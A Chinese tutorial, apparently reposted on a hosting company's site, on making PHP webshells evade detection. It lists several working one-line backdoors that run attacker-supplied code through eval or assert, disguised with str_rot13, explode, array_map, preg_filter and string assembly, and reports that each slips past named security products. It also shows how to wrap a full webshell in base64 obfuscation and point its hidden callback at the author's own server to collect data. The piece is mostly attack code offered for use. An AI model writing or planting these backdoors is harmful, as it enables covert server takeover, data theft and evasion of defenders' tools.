您好,登錄后才能下訂單哦!
本篇內容主要講解“Webshell免殺怎么實現”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“Webshell免殺怎么實現”吧!
在滲透測試中最常用的就是一句話后門(小馬)和中國菜刀的配合。如果出現某種WAF防護,就尋找一個免殺的大馬掛馬。
最常見的php一句話木馬
<?php @eval($_POST['x']);?>
這個一句話木馬由兩部分組成,eval用來執行接收的代碼。$_POST['x']來接收數值。
本著這個原則,嘗試改寫一句話木馬繞過WAF。
搜集了幾個常用的php函數
執行代碼的eval、assert、preg_replace
接收數據的$_POST、$_GET、$_REQUEST
<?php $c=str_rot13('nffreg'); $c($_REQUEST['x']); ?>
str_rot13函數來替代assert。該函數對字符串執行ROT13編碼。ROT13編碼就是把每個字母在字母表中移動13位。
測試發現無法繞過安全狗。修改一下。
<?php function xiaoma($a){ $c=str_rot13('nffreg'); $c($a); } xiaoma($_REQUEST['x']); ?>
即可繞過安全狗。
<?php class One{ function xiaoma($x){ $c=str_rot13('n!ff!re!nffreg'); $str=explode('!',$c)[3]; $str($x); } } $test=new One(); $test->xiaoma($_REQUEST['x']); ?>
再次修改,加了explode函數分割字符串,class封裝類。可繞過D盾。
array_map() 函數將函數作用到數組中的每個值上,并返回一個新的數組。
<?php $a1=array("1234","123456"); $a2=array(@$_REQUEST['x'],"1234"); $a=array_map(null,$a1,$a2)[0][1]; assert($a); ?>
即可繞過安全狗。
array_key() 函數也是返回包含數組的一個新數組。
<?php $a=array($_REQUEST['x']=>"3"); $b=array_keys($a)[0]; eval($b); ?>
索引數組變化為關聯數組。
即可繞過安全狗、D盾。
用來正則匹配的一個函數。
<?php function func(){ return $_REQUEST['x']; } preg_replace("/test/e",func(),"i am test"); ?>
/e用來當做php代碼解析。5.6版本以下實用。
測試可繞過安全狗和D盾。
根據preg_replace修改為preg_filter函數,也是用來執行正則的匹配替換。
<?php $a=preg_filter('/\s+/','','as s er t'); $a($_REQUEST['x']); ?>
也可以繞過D盾、安全狗。
<?php function test($a){ $arr = array('a','s','s','e','r','t'); $func = ''; for($i=0;$i<count($arr);$i++) { $func.=$func.$arr[$i]; } $func=substr($func,-6); $func($a); } test($_REQUEST['x']); ?>
也可以繞過D盾、安全狗。
正好自己手里有一個php大馬。但不免殺。嘗試將源碼base64加密后修改為php免殺大馬。
將大馬eval函數變為exit或者echo。burp抓取源代碼。
將源代碼拷貝下來,審計發現給源碼存在一處后門。
base64解碼一下
哦!!!真是可以。
將該base64地址修改為自己的vps地址。嘻嘻。
那現在只要eval函數可以執行這傳base64的字符串就可以啦。
WAF對base64_encode、base64_decode查殺非常嚴格。
不斷搜索、修改、編寫,最終成功。
<?php header("Content-type: text/html; charset=utf-8"); class one{ public function dama(){ $l='base'; $o='64_de'; $v='co'; $e='de'; $love=$l.$o.$v.$e; $c="love"; $shellname='網站安全檢測'; $password='xxx'; $myurl='http://www.xxx.com'; $a=$$c('code');//php源碼 @eval($a); } } $person = new one; $person->dama(); ?>
直接將php大馬源碼放在code處。即可。
也可以改造php免殺一句話木馬。
比如這款
<?php header("Content-type: text/html; charset=utf-8"); function test($code){ $password='xxx'; $a=preg_filter('/\s+/','','base 64 _ deco de'); $c=$a($code); @eval($c); } $code=''; //code存放php大馬 test($code); ?>
訪問一下。
查看vps是否接收到。
到此,相信大家對“Webshell免殺怎么實現”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。